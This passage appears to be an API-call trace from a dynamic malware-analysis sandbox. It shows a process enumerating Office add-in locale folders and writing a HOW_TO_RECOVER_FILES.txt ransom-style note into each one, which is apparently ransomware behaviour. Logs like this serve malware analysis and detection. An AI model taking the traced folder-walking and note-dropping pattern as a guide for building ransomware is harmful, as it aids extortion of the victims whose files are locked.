ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4868, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.814] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.814] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.814] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f4ff2d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f4ff2d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.814] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.815] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0226.815] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0226.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl", lpFilePart=0x0) returned 0x51 [0226.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0226.816] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.816] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b359a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4868, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0226.817] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.817] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.817] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f4ff2d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f4ff2d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4940, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.817] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0226.817] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15e45dad, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e6c018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0226.817] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0226.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0226.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0226.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0226.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0226.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0226.820] GetFileType (hFile=0x860) returned 0x1 [0226.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0226.820] GetFileType (hFile=0x860) returned 0x1 [0226.821] WriteFile (in: hFile=0x860, lpBuffer=0x36bcd00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x36bcd00*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0226.822] CloseHandle (hObject=0x860) returned 1 [0226.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0226.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl", lpFilePart=0x0) returned 0x56 [0226.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0227.259] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.260] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1600fa20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.260] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ab1579, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ab1579, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.260] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.260] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.260] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f9d2e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-cyrl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.260] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0227.260] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0227.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.261] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl", lpFilePart=0x0) returned 0x56 [0227.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0227.275] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.275] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1600fa20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc40a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.275] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ab1579, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ab1579, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.275] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.275] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0227.276] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f9d2e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-cyrl.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.276] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15f04999, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f9d2e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51f6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.sr-cyrl.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.276] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0227.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.277] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6f [0227.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-cyrl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-cyrl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0227.849] GetFileType (hFile=0x768) returned 0x1 [0227.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.849] GetFileType (hFile=0x768) returned 0x1 [0227.856] WriteFile (in: hFile=0x768, lpBuffer=0x3a9ab88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3a9ab88*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.857] CloseHandle (hObject=0x768) returned 1 [0227.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn", lpFilePart=0x0) returned 0x56 [0227.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-latn\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0227.860] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.860] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0227.860] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0227.860] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0227.861] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, 